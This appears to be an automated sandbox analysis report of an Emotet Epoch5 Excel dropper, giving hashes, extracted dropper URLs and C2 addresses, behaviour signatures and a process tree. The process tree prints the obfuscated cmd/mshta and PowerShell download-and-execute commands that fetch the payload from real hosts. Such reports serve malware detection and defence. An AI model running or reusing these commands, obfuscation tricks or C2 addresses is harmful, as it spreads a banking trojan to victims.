emotet | 3b4c7690fa48369fdc9a684e697c5ba23a23d5e89955484364a79fc0e74c99de

General

Target

3b4c7690fa48369fdc9a684e697c5ba23a23d5e89955484364a79fc0e74c99de.xlsm
Size

115KB
MD5

48904e8844874c95e6ab3513f7374aca
SHA1

b341da5b22ab387ac0a34a39f508702f8fbe8bc0
SHA256

3b4c7690fa48369fdc9a684e697c5ba23a23d5e89955484364a79fc0e74c99de
SHA512

c9d6b0e8a7e6093aa12cd634eabf9f7eb93ce21d611c8718e1656ee754d468b32282117d14275cb6737bc81dc1bd277443c201e8061acbd697c2ac5492e13a03

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3688	3788	cmd.exe	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

35 4020 mshta.exe
41 1328 powershell.exe
43 1328 powershell.exe
49 1808 rundll32.exe
50 1808 rundll32.exe
52 1808 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1788 rundll32.exe
3304 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Ttgvbgb\bzrlctr.fbn rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1952 4020 WerFault.exe mshta.exe

flow	pid	process
35	4020	mshta.exe
41	1328	powershell.exe
43	1328	powershell.exe
49	1808	rundll32.exe
50	1808	rundll32.exe
52	1808	rundll32.exe

pid	process
1788	rundll32.exe
3304	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Ttgvbgb\bzrlctr.fbn	rundll32.exe

pid	pid_target	process	target process
1952	4020	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3788 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
1328	powershell.exe
1328	powershell.exe
1952	WerFault.exe
1952	WerFault.exe
1952	WerFault.exe
1952	WerFault.exe
1952	WerFault.exe
1952	WerFault.exe
1952	WerFault.exe
1952	WerFault.exe
1952	WerFault.exe
1952	WerFault.exe
1952	WerFault.exe
1952	WerFault.exe
1952	WerFault.exe
1952	WerFault.exe
1328	powershell.exe
1808	rundll32.exe
1808	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 1328 powershell.exe
Token: SeDebugPrivilege 1952 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	1328	powershell.exe
Token: SeDebugPrivilege	1952	WerFault.exe

Suspicious use of SetWindowsHookEx 20 IoCs

Processes:

EXCEL.EXE

pid	process
3788	EXCEL.EXE
3788	EXCEL.EXE
3788	EXCEL.EXE
3788	EXCEL.EXE
3788	EXCEL.EXE
3788	EXCEL.EXE
3788	EXCEL.EXE
3788	EXCEL.EXE
3788	EXCEL.EXE
3788	EXCEL.EXE
3788	EXCEL.EXE
3788	EXCEL.EXE
3788	EXCEL.EXE
3788	EXCEL.EXE
3788	EXCEL.EXE
3788	EXCEL.EXE
3788	EXCEL.EXE
3788	EXCEL.EXE
3788	EXCEL.EXE
3788	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 3788 wrote to memory of 3820	3788	EXCEL.EXE	splwow64.exe
PID 3788 wrote to memory of 3820	3788	EXCEL.EXE	splwow64.exe
PID 3788 wrote to memory of 3688	3788	EXCEL.EXE	cmd.exe
PID 3788 wrote to memory of 3688	3788	EXCEL.EXE	cmd.exe
PID 3688 wrote to memory of 4020	3688	cmd.exe	mshta.exe
PID 3688 wrote to memory of 4020	3688	cmd.exe	mshta.exe
PID 4020 wrote to memory of 1328	4020	mshta.exe	powershell.exe
PID 4020 wrote to memory of 1328	4020	mshta.exe	powershell.exe
PID 1328 wrote to memory of 1812	1328	powershell.exe	cmd.exe
PID 1328 wrote to memory of 1812	1328	powershell.exe	cmd.exe
PID 1812 wrote to memory of 1788	1812	cmd.exe	rundll32.exe
PID 1812 wrote to memory of 1788	1812	cmd.exe	rundll32.exe
PID 1812 wrote to memory of 1788	1812	cmd.exe	rundll32.exe
PID 1788 wrote to memory of 3304	1788	rundll32.exe	rundll32.exe
PID 1788 wrote to memory of 3304	1788	rundll32.exe	rundll32.exe
PID 1788 wrote to memory of 3304	1788	rundll32.exe	rundll32.exe
PID 3304 wrote to memory of 3644	3304	rundll32.exe	rundll32.exe
PID 3304 wrote to memory of 3644	3304	rundll32.exe	rundll32.exe
PID 3304 wrote to memory of 3644	3304	rundll32.exe	rundll32.exe
PID 3644 wrote to memory of 1808	3644	rundll32.exe	rundll32.exe
PID 3644 wrote to memory of 1808	3644	rundll32.exe	rundll32.exe
PID 3644 wrote to memory of 1808	3644	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3b4c7690fa48369fdc9a684e697c5ba23a23d5e89955484364a79fc0e74c99de.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3788

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:3820

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3688

C:\Windows\system32\mshta.exe
mshta http://0x5cff39c3/sec/se1.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:4020

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1328

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
5⤵
- Suspicious use of WriteProcessMemory
PID:1812

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1788

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3304

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ttgvbgb\bzrlctr.fbn",kRFdT
8⤵
- Suspicious use of WriteProcessMemory
PID:3644

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Ttgvbgb\bzrlctr.fbn",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1808

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 4020 -s 1668
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1952

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Public\Documents\ssd.dll

MD5
ac08bf753f0a2ef33379a522771fac41

SHA1
fbe34adc7a30720ff3953b4dbf6bc12fa9ff9ecb

SHA256
e2c4e4c320d4e2744d5818db57375a1959625c31e96a934461c1112188424755

SHA512
10784210311da64f956f89f48d00a20e5287fa48ddde7a4d51f9c35710c4f57706e18984c67275cfee1b6d5f629bf44096a227e0a945c73985ad3a38bd677b33

Download Submit
\Users\Public\Documents\ssd.dll

MD5
ac08bf753f0a2ef33379a522771fac41

SHA1
fbe34adc7a30720ff3953b4dbf6bc12fa9ff9ecb

SHA256
e2c4e4c320d4e2744d5818db57375a1959625c31e96a934461c1112188424755

SHA512
10784210311da64f956f89f48d00a20e5287fa48ddde7a4d51f9c35710c4f57706e18984c67275cfee1b6d5f629bf44096a227e0a945c73985ad3a38bd677b33

Download Submit
\Users\Public\Documents\ssd.dll

MD5
ac08bf753f0a2ef33379a522771fac41

SHA1
fbe34adc7a30720ff3953b4dbf6bc12fa9ff9ecb

SHA256
e2c4e4c320d4e2744d5818db57375a1959625c31e96a934461c1112188424755

SHA512
10784210311da64f956f89f48d00a20e5287fa48ddde7a4d51f9c35710c4f57706e18984c67275cfee1b6d5f629bf44096a227e0a945c73985ad3a38bd677b33

Download Submit
memory/1328-547-0x000001F4393A0000-0x000001F4393A2000-memory.dmp

Filesize
8KB

Download
memory/1328-500-0x000001F4392B0000-0x000001F4392D2000-memory.dmp

Filesize
136KB

Download
memory/1328-768-0x000001F4393A6000-0x000001F4393A8000-memory.dmp

Filesize
8KB

Download
memory/1328-684-0x000001F451AD0000-0x000001F451B46000-memory.dmp

Filesize
472KB

Download
memory/1328-558-0x000001F439320000-0x000001F43935C000-memory.dmp

Filesize
240KB

Download
memory/1328-548-0x000001F4393A3000-0x000001F4393A5000-memory.dmp

Filesize
8KB

Download
memory/1788-819-0x0000000000E90000-0x0000000000EB8000-memory.dmp

Filesize
160KB

Download
memory/1808-836-0x0000000000E10000-0x0000000000E38000-memory.dmp

Filesize
160KB

Download
memory/1808-849-0x0000000004DD0000-0x0000000004DF8000-memory.dmp

Filesize
160KB

Download
memory/1808-851-0x0000000004FC0000-0x0000000004FE8000-memory.dmp

Filesize
160KB

Download
memory/1808-847-0x0000000004CE0000-0x0000000004D08000-memory.dmp

Filesize
160KB

Download
memory/1808-845-0x0000000004BF0000-0x0000000004C18000-memory.dmp

Filesize
160KB

Download
memory/1808-843-0x0000000004B10000-0x0000000004B38000-memory.dmp

Filesize
160KB

Download
memory/1808-841-0x0000000004A30000-0x0000000004A58000-memory.dmp

Filesize
160KB

Download
memory/1808-853-0x0000000005040000-0x0000000005068000-memory.dmp

Filesize
160KB

Download
memory/3304-822-0x0000000001080000-0x00000000010A8000-memory.dmp

Filesize
160KB

Download
memory/3304-829-0x0000000005210000-0x0000000005238000-memory.dmp

Filesize
160KB

Download
memory/3304-834-0x00000000053D0000-0x00000000053F8000-memory.dmp

Filesize
160KB

Download
memory/3304-831-0x0000000005270000-0x0000000005298000-memory.dmp

Filesize
160KB

Download
memory/3304-827-0x0000000005080000-0x00000000050A8000-memory.dmp

Filesize
160KB

Download
memory/3304-825-0x0000000004ED0000-0x0000000004EF8000-memory.dmp

Filesize
160KB

Download
memory/3644-833-0x0000000001030000-0x0000000001058000-memory.dmp

Filesize
160KB

Download
memory/3788-115-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp

Filesize
64KB

Download
memory/3788-114-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp

Filesize
64KB

Download
memory/3788-127-0x00007FFD43CA0000-0x00007FFD43CB0000-memory.dmp

Filesize
64KB

Download
memory/3788-117-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp

Filesize
64KB

Download
memory/3788-116-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp

Filesize
64KB

Download
memory/3788-128-0x00007FFD43CA0000-0x00007FFD43CB0000-memory.dmp

Filesize
64KB

Download
memory/3788-120-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads